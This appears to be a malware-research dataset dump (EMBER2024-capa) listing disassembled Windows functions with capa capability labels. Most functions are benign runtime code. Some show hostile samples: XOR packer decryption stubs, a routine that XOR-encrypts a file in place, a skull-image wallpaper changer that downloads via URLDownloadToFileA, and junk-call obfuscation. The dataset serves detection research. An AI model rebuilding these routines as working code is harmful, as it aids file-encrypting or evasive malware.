joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003b509
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006b849
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push esi
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1003b6a1
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x1003b682
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], 0x1d66
cmp dword [ebp - 0x40], 0xd20
jge 0x1003b64c
lea eax, [ebp - 0x24]
push eax
push 0x10007d98
call fcn.100534db
pop ecx
pop ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x58]
call fcn.1002b9fe
and dword [ebp - 4], 0
and dword [ebp - 0x20], 0
jmp 0x1003b5a9
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jge 0x1003b5cb
push dword [ebp - 0x20]
lea ecx, [ebp - 0x58]
call fcn.10013282
push eax
push 0x10007d94
call fcn.100534db
pop ecx
pop ecx
jmp 0x1003b5a2
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x14], 1
jmp 0x1003b5e9
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x24]
jge 0x1003b631
push dword [ebp - 0x14]
lea ecx, [ebp - 0x58]
call fcn.10013282
mov esi, eax
mov eax, dword [ebp - 0x14]
dec eax
push eax
lea ecx, [ebp - 0x58]
call fcn.10013282
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x1003b61a
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x1003b621
mov dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x28]
jle 0x1003b62f
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
jmp 0x1003b5e2
push dword [ebp - 0x28]
push 0x10007d98
call fcn.100537c3
pop ecx
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.1001325d
mov eax, dword [ebp - 0x1c]
mov dword [eax], 3
jmp 0x1003b662
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
jl 0x1003b680
mov eax, dword [ebp - 0x1c]
push dword [eax]
mov ecx, dword [ebp - 0x44]
call fcn.10013282
cmp dword [eax], 0
je 0x1003b67e
jmp 0x1003b680
jmp 0x1003b657
jmp 0x1003b69f
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp - 0xd]
test eax, eax
je 0x1003b69f
push 0
push 0x2502
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
jmp 0x1003b6c2
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 0x246a
push 0
call fcn.10030c74
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003b6d1
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1003b702
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], eax
push 1
push dword [ebp - 4]
push 0x2139
push dword [ebp - 8]
call fcn.1003b775
add esp, 0x10
jmp 0x1003b771
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1003b76b
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
push 0x7140
push 0x6e9b
push 0x1f45
push 0
push 0x334f
push 0x43a3
push 0x384e
push 0x568d
push 1
mov eax, dword [ebp - 0x18]
push dword [eax]
push 0x44d4
push 0x1be3
push 1
push 0x7c70
call fcn.10033815
add esp, 0x38
jmp 0x1003b771
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov esp, ebp
pop ebp
ret
Function at 0x10043884
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006bab8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100439e7
lea eax, [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x100439c7
mov dword [ebp - 0x28], 0x4784
mov dword [ebp - 0x30], 0x10008c38
cmp dword [ebp - 0x28], 0x49c3
jle 0x1004396c
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
and dword [ebp - 0x24], 0
jmp 0x100438f6
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x7a8f
jge 0x1004396c
and dword [ebp - 0x18], 0
jmp 0x1004390c
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x376
jge 0x1004396a
and dword [ebp - 0x1c], 0
jmp 0x10043922
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x2dcc
jge 0x10043968
and dword [ebp - 0x20], 0
jmp 0x10043938
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x589c
jge 0x10043966
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
or eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
mov ecx, 0x106128d8
call fcn.10012ec5
jmp 0x10043931
jmp 0x1004391b
jmp 0x10043905
jmp 0x100438ef
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
je 0x10043985
push 0x440
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
and dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0x4455
jge 0x1004399f
mov edx, dword [ebp - 0x30]
mov ecx, 0x106128d8
call fcn.10015cdf
jmp 0x100439bb
or dword [ebp - 4], 0xffffffff
jmp 0x100439c5
jmp 0x100439e5
mov byte [ebp - 0x12], 0
push 0x41fc
push 0x2ba3
lea eax, [ebp - 0x12]
push eax
push 0
push 1
call fcn.1003b790
add esp, 0x14
jmp 0x10043a04
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
push 0x7af9
push 0
push dword [ebp - 0x34]
push 0x1359
call fcn.10039021
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10066a55
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10070740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10057948
mov dword [ebp - 0x14], eax
cmp dword [0x106139f4], esi
jne 0x10066b48
push 0x800
push esi
push 0x100075a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10066ad5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10066c28
push esi
push esi
push 0x100075a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10066c28
push 0x100075b8
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10066c28
push eax
call ebx
push 0x100075c4
push edi
mov dword [0x106139f4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100075d4
push edi
mov dword [0x106139f8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100075e8
push edi
mov dword [0x106139fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10613a04], eax
test eax, eax
je 0x10066b45
push 0x10007604
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10613a00], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10066b6d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10066b60
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10066b82
push 4
pop eax
jmp 0x10066c2a
cmp dword [ebp - 0x14], esi
je 0x10066b82
push dword [0x106139f4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10066b67
mov eax, dword [0x10613a00]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10066be0
cmp dword [0x10613a04], edi
je 0x10066be0
push eax
call ebx
push dword [0x10613a04]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10066be0
test eax, eax
je 0x10066be0
call ecx
test eax, eax
je 0x10066bd5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10066bd5
test byte [ebp - 8], 1
jne 0x10066be0
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x10066c10
mov eax, dword [0x106139f8]
cmp eax, edi
je 0x10066c0d
push eax
call ebx
test eax, eax
je 0x10066c0d
call eax
mov esi, eax
test esi, esi
je 0x10066c0d
mov eax, dword [0x106139fc]
cmp eax, edi
je 0x10066c0d
push eax
call ebx
test eax, eax
je 0x10066c0d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x106139f4]
call ebx
test eax, eax
je 0x10066c28
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10066c2a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100549ad
mov esp, ebp
pop ebp
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x433072
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x447900d4
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..text
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x292f7e02
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x33ce3651
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, str._g_
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x67ea333e
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401a6c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42a14c]
jne 0x401a76
repz ret
jmp fcn.004025a5

Function at 0x40b17e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a14c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004043d4
and dword [ebp - 0x14], 0
cmp dword [0x42c7d8], 0
mov dword [ebp - 0x18], eax
jne 0x40b231
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b2d9
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40b2d9
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42c7d8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42c7dc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42c7e0], eax
call edi
push eax
call esi
mov dword [0x42c7e8], eax
test eax, eax
je 0x40b231
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42c7e4], eax
mov eax, dword [0x42c7e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b28a
cmp dword [0x42c7e8], ecx
je 0x40b28a
push eax
call esi
push dword [0x42c7e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b28a
test ebx, ebx
je 0x40b28a
call edi
test eax, eax
je 0x40b281
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b281
test byte [ebp - 8], 1
jne 0x40b28a
or dword [ebp + 0x10], 0x200000
jmp 0x40b2bd
mov eax, dword [0x42c7dc]
cmp eax, dword [ebp - 0x18]
je 0x40b2bd
push eax
call esi
test eax, eax
je 0x40b2bd
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b2bd
mov eax, dword [0x42c7e0]
cmp eax, dword [ebp - 0x18]
je 0x40b2bd
push eax
call esi
test eax, eax
je 0x40b2bd
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42c7d8]
call esi
test eax, eax
je 0x40b2d9
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b2db
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a6c
leave
ret
Function at 0x422df0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x41c
mov eax, dword [0x42a14c]
xor eax, esp
mov dword [esp + 0x418], eax
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
push edi
mov dword [esp + 0xc], eax
cmp dword [ebp + 0xc], esi
jle 0x422ecb
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [ebp + 0xc], 0x2d
jne 0x422e58
push 0
push str.fikojini_zujokobixexezonakeweguneleg_lejoyuxalanetexitevelanebubu_satoretik_tajufejefavohiyelirixago
call edi
push str.fepekoniguvisenevuwuki_jin
push str.pocudinapefiwuwuracuyehopasa
push str.giciyojozabuxos_joguzi_zunibizece
push str.cerowitalapotovonemadudukadoga_wumivuxikeyiwezayopoyevocirah_fuhehoguh_nivipapeniloxaceyobogetamixari_fufozimepofezawipogobonemetibe
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call fcn.00422d40
mov ecx, dword [esp + 0xc]
xor byte [ecx + esi], al
cmp dword [ebp + 0xc], 0xf
jne 0x422ec1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
push eax
lea edx, [esp + 0x24]
push edx
push 0x427f88
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
push ecx
mov word [esp + 0x28], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push str.yiwozifedewuricotaducoxitajodeta
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x422e2b
cmp dword [ebp + 0xc], 0x2d
jne 0x422ee5
mov dword [0x42d8d0], 0xa62e7790
mov dword [0x42d8d4], 0xffffffff
mov ecx, dword [esp + 0x424]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401a6c
mov esp, ebp
pop ebp
ret
Function at 0x4232c0
Capabilities:
Access the windows event log
Manipulate console buffer
Set file attributes

Disassembly:
sub esp, 0x14
mov eax, dword [0x42d8c4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push esi
mov dword [esp + 0x10], 0x1540b5
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x14]
cmp eax, 0xcc1
jne 0x4232fa
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov eax, dword [0x42d8c4]
mov dword [0x42d52c], 0x8e468c60
cmp eax, 0x3dc
jne 0x423359
push 0
push 0x4281f8
call ebx
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x24], eax
call ebp
push 0
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
push esi
push 0
push 0
push edi
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AccessCheckByTypeResultList]
push str.rugenalef
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov eax, dword [0x42d8c4]
dec dword [esp + 0x14]
jne 0x4232e8
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
xor esi, esi
mov ebp, 0xec58acac
or ebx, 0xffffffff
nop
cmp eax, 0x997
jne 0x423382
push 0
push 0
call edi
mov eax, dword [0x42d8c4]
cmp esi, 0x846373
jne 0x423399
mov eax, dword [0x42bad0]
add eax, 0xa231
mov dword [0x42d8c4], eax
cmp eax, 0x141
jne 0x4233ac
mov dword [0x42cd18], ebp
mov dword [0x42cd1c], ebx
inc esi
cmp esi, 0x123c962
jl 0x423370
call fcn.00422f40
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret 0x10
Function at 0x40158f
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1058
call fcn.00402920
sub esp, eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x40170e
mov dword [ebp - 0xc], 0
jmp 0x4016f2
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x824]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x800
lea eax, [ebp - 0x820]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x824]
cmp eax, 0x7ff
jg 0x401642
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x10], 0
jmp 0x401681
lea edx, [ebp - 0x820]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x10]
cdq
idiv dword [ebp + 0x10]
mov eax, edx
mov edx, eax
mov eax, dword [ebp + 0xc]
add eax, edx
movzx eax, byte [eax]
xor ecx, eax
mov edx, ecx
lea ecx, [ebp - 0x1029]
mov eax, dword [ebp - 0x10]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x7ff
jle 0x40164b
mov eax, dword [ebp - 0x824]
neg eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x824]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x828]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x1029]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0xc], 0
je 0x4015f7
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x40170f
nop
leave
ret
Function at 0x401844
Capabilities:
Change the wallpaper

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [ebp - 0xc], 1
mov dword [esp + 8], 0x400
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0x418]
add eax, edx
mov dword [eax], 0x6d622e78
mov word [eax + 4], 0x70
mov dword [esp], str.urlmon
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401929
mov dword [esp + 4], str.URLDownloadToFileA
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401929
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.https:__upload.wikimedia.org_wikipedia_commons_thumb_0_06_Skull_and_Crossbones.svg_640px_Skull_and_Crossbones.svg.png
mov dword [esp], 0
mov eax, dword [ebp - 0x14]
call eax
sub esp, 0x14
test eax, eax
jne 0x401929
mov dword [ebp - 0xc], 0
mov dword [esp + 0xc], 3
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x14
mov eax, dword [sym.imp.USER32.dll_SystemParametersInfoA]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x401c70
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402f30
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402f30
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]